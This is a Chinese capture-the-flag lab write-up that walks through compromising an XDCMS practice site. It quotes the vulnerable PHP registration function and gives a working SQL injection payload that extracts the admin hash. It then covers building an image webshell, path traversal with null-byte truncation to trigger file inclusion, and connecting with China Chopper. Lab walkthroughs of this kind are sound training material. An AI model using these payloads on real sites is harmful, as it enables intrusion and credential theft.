Contents

【i春秋】渗透测试入门 —— 你是会员吗?

0x00 前言

题目链接:https://www.ichunqiu.com/battalion?t=2&r=54399

实验环境

  • 操作机:Windows XP

实验工具:

  • <code>BURP
  • 中国菜刀

实验任务:

  • 本次实验要求获取www.test.ichunqiu网站的FLAG信息。

实验试题:

  • 第1题:获取ww.test.ichunqiu后台登录密码。
  • 第2题:获取目标网站目录中的flag文件信息。

0x01 管理员密码

首先打开网页

能够观察到网站是XDCMS,寻找相关漏洞,根据题目中的“会员”、“SQLMAP”等关键词,查找发现在XDCMS企业管理系统的注册功能处存在SQL注入漏洞,index.php的register_save函数处。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
public function register_save(){ 

$username=safe_html($_POST['username']);//获取UserName,这里用safe_html函数进行过滤 

$password=$_POST['password']; 

$password2=$_POST['password2']; 

$fields=$_POST['fields']; 

if(empty($username)||empty($password2)||empty($password)){ 
showmsg(C('material_not_complete'),'-1');   
} 

if(!strlength($username,5)){  
showmsg(C('username').C('str_len_error').'5','-1'); 
} 

if(!strlength($password,5)){ 
showmsg(C('password').C('str_len_error').'5','-1'); 
} 

if($password!=$password2){ 
showmsg(C('password_different'),'-1'); 
} 

$password=md5(md5($password)); 

$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在,这里的UserName可被绕过过滤,导致注入,这是第一处SQL注入 

if($user_num>0){ 
showmsg(C('member_exist'),'-1'); 
} 

$ip=safe_replace(safe_html(getip())); 

$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码,这里的UserName同样造成注入,第二处sql注入 

$last_id=$this->mysql->insert_id(); //插入附属字段 

$field_sql=''; 

foreach($fields as $k=>$v){ 
$f_value=$v; 

if(is_array($v)){ 
$f_value=implode(',',$v); 
} 

$field_sql.=",`{$k}`='{$f_value}'";//这里没有过滤,直接进入了下面的update sql语句,导致第三处sql注入 

} 

$field_sql=substr($field_sql,1); 

$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}"; 

$query=$this->mysql->query($field_sql); 

showmsg(C('register_success'),'index.php?m=member&f=register'); 

}

开始设置Burp的代理。

注册新用户

在登录页面,UserName后插入下方EXP
1
' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM c_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#'

Forward后,页面蹦出用户名xdcms121和一串MD5值,解密后得到xdcms212

0x02 flag文件信息

在登录页面无法以管理员身份登录,猜测有管理员页面,开御剑扫一下后台目录。“啪”的一下,很快啊,发现了几个带admin的路径。

成功进入后台。

构建图片马Copy Sunset.jpg/b+ muma.txt/aresult.jpg /y

找到文件上传点,但图片无法正常上传,借鉴其他师傅的经验,在图片栏输入图片的绝对路径。

上传后打开Burp,Proxy -> History 中点击相应记录,并在 Response -> Raw 中看到图片马的地址为/uploadfile/image/20210121/202101210957560.jpg。

利用 URL 查询字符串的 m 参数指向图片马的路径,最终触发文件包含漏洞,关键语句如下:

include MOD_PATH.$m."/".$c.".php"; //调用类

因此使用菜刀 添加SHELL 时,赋值给 m 的图片马路径需要先从 MOD_PATH 返回根目录,拟在前面添加 ../../,猜测向上返回两级目录后可到达根目录,若猜测正确即能指向图片马的路径。http://www.test.ichunqiu/index.php?m=../../uploadfile/image/20210121/202101210957560.jpg,选择php。

结果弹出报错信息,这里是因为参数 m 被引用到源码后,后面还连了一段字符串,该字符串默认情况下是 /index.php,在参数 m 末尾加入空字符 %00,对源码中的 include 语句进行截断。

成功连接,打开flag文件,成功得到key{7h7hii9a}